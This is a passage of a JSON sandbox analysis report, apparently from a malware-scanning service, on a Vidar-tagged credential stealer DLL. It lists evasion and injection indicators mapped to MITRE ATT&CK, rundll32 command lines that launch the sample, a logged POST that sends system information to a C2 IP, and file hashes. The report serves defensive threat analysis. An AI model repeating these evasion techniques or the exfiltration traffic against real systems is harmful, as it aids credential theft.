Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"rundll32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\"; Key: \"TS_D443D936\"; Value: \"1446819\")\n \"rundll32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\"; Key: \"TS_8ED48561\"; Value: \"60E3A1E\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00002724.00000001.309881.29B40000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00003924.00000001.308493.929B0000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00004108.00000001.309191.8A750000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00004240.00000001.310045.B3360000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00004656.00000001.308817.FF150000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to disable driver signature enforcement","description":"Found string \"%SystemRoot%\\System32\\ci.dll,-100\" (Indicator: \"ci.dll\"; Source: \"00000000-00003924.00000001.308493.929B0000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-101\" (Indicator: \"ci.dll\"; Source: \"00000000-00003924.00000001.308493.929B0000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-101\" (Indicator: \"ci.dll\"; Source: \"00000000-00004240.00000001.310045.B3360000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-101\" (Indicator: \"ci.dll\"; Source: \"00000000-00004588.00000001.310240.C4F10000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-100\" (Indicator: \"ci.dll\"; Source: \"00000000-00004588.00000001.310240.C4F10000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-100\" (Indicator: \"ci.dll\"; Source: \"00000000-00004692.00000001.310142.58080000.00000004.mdmp\")\n Found string \"%SystemRoot%\\System32\\ci.dll,-101\" (Indicator: \"ci.dll\"; Source: \"00000000-00004692.00000001.310142.58080000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1553.006","relevance":1,"id":"string-586","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Sets the 'ThreadHideFromDebugger' thread data structure","description":"\"rundll32.exe\" is setting \"ThreadHideFromDebugger\" data for its current thread","origin":"API Call","mitre_attack_id":"T1622","relevance":10,"id":"api-84","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugObjectHandle","description":"\"rundll32.exe queries ProcessDebugObjectHandle (UID: 4656), \"rundll32.exe queries ProcessDebugObjectHandle (UID: 8812)\n \"rundll32.exe queries ProcessDebugObjectHandle (UID: 9372)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-240","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\rundll32.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$54","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$55","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 46.225.156.170 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - References common sandbox DLLs (sandbox evasion)","description":"$56","origin":"YARA Signature","mitre_attack_id":"T1497.001","relevance":5,"id":"yara-52","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"$57","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$58","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"rundll32.exe\" connects to 46.225.156.170:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"$59","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00001508.00000000.294355.68D40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002916.00000000.293930.56970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameExA\" (Source: \"00000000-00001840.00000000.293641.1B130000.00000004.mdmp\")\n Found string \"etUserNameExW\" (Source: \"00000000-00001840.00000000.293641.1B130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"rundll32.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006104)\n \"rundll32.exe\" called \"NtQueueApcThread\" (UID: 00000000-00002916)\n \"rundll32.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001916)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}]},"activity":{"stats":{"process_count":26,"spawned_processes_count":26,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":26,"imported_dlls_count":57,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":2,"files_deleted_count":0,"registry_keys_created_count":43,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":43,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["commodity","vidarstealer","credentialharvesting","criminal","informationstealer","downloader","evasive"],"sample_flags":["Multi-Process","Extracted Files","Sample Crashed","Network Traffic"],"sandbox_reports":[{"id":"6a2e0ba81930917bb402ccef","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W64.Evo","submit_name":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin","analysis_start_time":"2026-06-14T02:02:17+00:00","indicators_count":{"informative":137,"suspicious":10,"malicious":4},"tags":["Multi-Process","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"6a2e0b9bf761e3750c05d891","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W64.Evo","contacted_countries":["DEU"],"submit_name":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin","analysis_start_time":"2026-06-14T02:02:04+00:00","indicators_count":{"informative":169,"suspicious":30,"malicious":4},"tags":["Multi-Process","Network Traffic","Sample Crashed"],"is_in_unified_schema":true},{"id":"6a2e063c4f2fca19d3085c57","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":88,"malware_family":"W64.Evo","contacted_countries":["DEU"],"submit_name":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin","analysis_start_time":"2026-06-14T01:39:09+00:00","indicators_count":{"informative":171,"suspicious":30,"malicious":3},"tags":["Multi-Process","Network Traffic","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"46.225.156.170","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}],"dns_resolutions":null,"http_requests":[{"host":"46.225.156.170","host_ip":"46.225.156.170:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----18c333da903c0a55900c\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0\nContent-Length: 345\nHost: 46.225.156.170","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}],"processes":[{"pid":3724,"ppid":0,"name":"","command_line":"","normalized_path":"","uid":"00000000-00003724"},{"pid":4076,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#1","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00004076","icon":"$5a"},{"pid":3300,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#2","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003300","icon":"$5b"},{"pid":3456,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#3","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003456","icon":"$5c"},{"pid":588,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#4","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00000588","icon":"$5d"},{"pid":1512,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3456 -s 164","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00001512","icon":"$5e"},{"pid":4016,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 4076 -s 164","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00004016","icon":"$5f"},{"pid":3492,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3300 -s 160","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00003492","icon":"$60"},{"pid":3392,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 588 -s 168","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00003392","icon":"$61"},{"pid":3348,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#5","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003348","icon":"$62"},{"pid":3524,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3348 -s 128","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00003524","icon":"$63"},{"pid":1200,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#6","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00001200","icon":"$64"},{"pid":3452,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#7","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003452","icon":"$65"},{"pid":3780,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#8","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003780","icon":"$66"},{"pid":800,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3452 -s 164","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00000800","icon":"$67"},{"pid":1076,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3780 -s 148","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00001076","icon":"$68"},{"pid":4044,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 1200 -s 164","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00004044","icon":"$69"},{"pid":3096,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#9","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003096","icon":"$6a"},{"pid":2896,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#10","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00002896","icon":"$6b"},{"pid":892,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3096 -s 172","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00000892","icon":"$6c"},{"pid":832,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 2896 -s 160","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00000832","icon":"$6d"},{"pid":644,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#11","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00000644","icon":"$6e"},{"pid":1908,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#12","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00001908","icon":"$6f"},{"pid":3156,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 644 -s 156","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00003156","icon":"$70"},{"pid":2968,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 1908 -s 160","sha256":"e59c349b964f585c27f63fbf7c1b5d7c6cf8cc958bd35100a36d57542dc13972","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00002968","icon":"$71"},{"pid":3656,"ppid":0,"name":"rundll32.exe","command_line":"\"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\",#13","sha256":"405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4","normalized_path":"%WINDIR%\\System32\\rundll32.exe","uid":"00000000-00003656","icon":"$72"}],"all_imported_dlls":["advapi32.dll","uxtheme.dll","bcryptprimitives.dll","ntdll.dll","winmm.dll","usp10.dll","imagehlp.dll","sechost.dll","ole32.dll","dwmapi.dll","kernel32.dll","KernelBase.dll","gdi32.dll","lpk.dll","rpcrt4.dll","nsi.dll","fltLib.dll","api-ms-win-core-synch-l1-2-0.dll","shlwapi.dll","imm32.dll","msctf.dll","70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll","bcrypt.dll","VxSSL64.dll","ws2_32.dll","oleaut32.dll","user32.dll","msvcrt.dll","mswsock.dll","schannel.dll","ntasn1.dll","rsaenh.dll","gpapi.dll","dpapi.dll","combase.dll","cryptsp.dll","sspicli.dll","ncrypt.dll","ncryptsslp.dll","ucrtbase.dll","powrprof.dll","msvcp_win.dll","umpdc.dll","webio.dll","winnsi.dll","msasn1.dll","cryptbase.dll","SHCore.dll","win32u.dll","gdi32full.dll","IPHLPAPI.DLL","winhttp.dll","OnDemandConnRouteHelper.dll","crypt32.dll","winmmbase.dll","cfgmgr32.dll","mskeyprotect.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"UK905DBZ.htm","sha256":"13702443339e0ed3b8cd9cfcd2d7fc3cfcf307f88b5246181b645818cb40b703","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"~DF1FFF3BB0A72C5A7C.TMP","sha256":"5e830bc9b6df941f50a516d14ef66901572f9e84759b6d9de4f3f65a5836d991","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"~DF7A3AD4202DE4CB1F.TMP","sha256":"9decf9ab285d0bc591145090d2dae2af87125105d70681c0371ed661ee50cbf4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"~DFF578A21089EF39C3.TMP","sha256":"193b8346deb460e0fe9ebd37843521960ff1f22623339fb950945a237ac6f753","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"nav_logo229_1_.png","sha256":"ca858453ce21cabdf9911c6fa3291aa630df344244bc183a4d5ae9972e59f675","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"imagestore.dat","sha256":"4b167f5f14019d28a4c5cd6745c62a3cf67a92413e5f49688df87d1507606b59","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"RecoveryStore._1EF1B6AB-6795-11F1-9C98-005056913810_.dat","sha256":"826327ffcf4c6e69919feb136fef43e25acd4dc9daae83d0796335a5258da537","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"_1EF1B6AD-6795-11F1-9C98-005056913810_.dat","sha256":"f8669225d8c43054e2a28c6f74db2a0a473044b7d385a9d29bf1179f9787f162","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"googlelogo_white_background_color_272x92dp_1_.png","sha256":"44fc041cb8145b4ef97007f85bdb9abdb9a50d744e258b0c4bb01f1d196bf105","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"favicon_1_.ico","sha256":"6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"_25E6A544-6795-11F1-9C98-005056913810_.dat","sha256":"84507e4475d4e12ec43c9a06b33895d0b80e6c85186f86bf3fcd41991e2683f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA","sha256":"105c1b490ad3153e357b1163c213db63d5c2b34eba58e3e5fdbd541ea5152e50","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"05DDC6AA91765AACACDB0A5F96DF8199","sha256":"a6f8f5d4ffd1e825ffce9a55861f16aa4dbe67871b1696b976194dd8be1fdf29","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"RFXRNGZK.txt","sha256":"fcf9267cc50b343b7cd24cef6e24bac5f63b9dbfe1a722e33c1fb3b46ee95a59","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"2UBCNDDQ.txt","sha256":"b7015dfbd8bfc44aa3086b05be2e4a4bd5459c73b0d3fe8bd7841cbf155d6d2c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"QMY98U1L.txt","sha256":"c511d5c8e69763fbf2896d4ec499755262cb795c609cdb02aea375fada1d3d4b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"6DA548C7E5915679F87E910D6581DEF1_3B575FC3633203A7B6F1D54AF15F5DFF","sha256":"e8099566e1994c1a9071c64aa1e3a5e3e92d921df0c4173ee1366344b36f1c7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"4FA45AE1010E09657982D8D28B3BD38E_BF3890251EE43B9B7C585D8A702A23E9","sha256":"a1ce0ec204b271096990795287acc9423322fe68bf6c1f2a2dac16c489e03ab8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"B3513D73A177A2707D910183759B389B_DD5C881D3BBD16C042910D28DAB6EC75","sha256":"2afa3a443a08830c14ada62232caac47580d94e5ea945346b193d807c0393646","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"name":"B3513D73A177A2707D910183759B389B_37334A92C08D0036E183ABCF13343D9F","sha256":"7074ce52e73796192b8331c8ebf363797333c65db2a8b953e8a78136f785639b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]}],"files_written":[{"path":"\\FileSystem\\F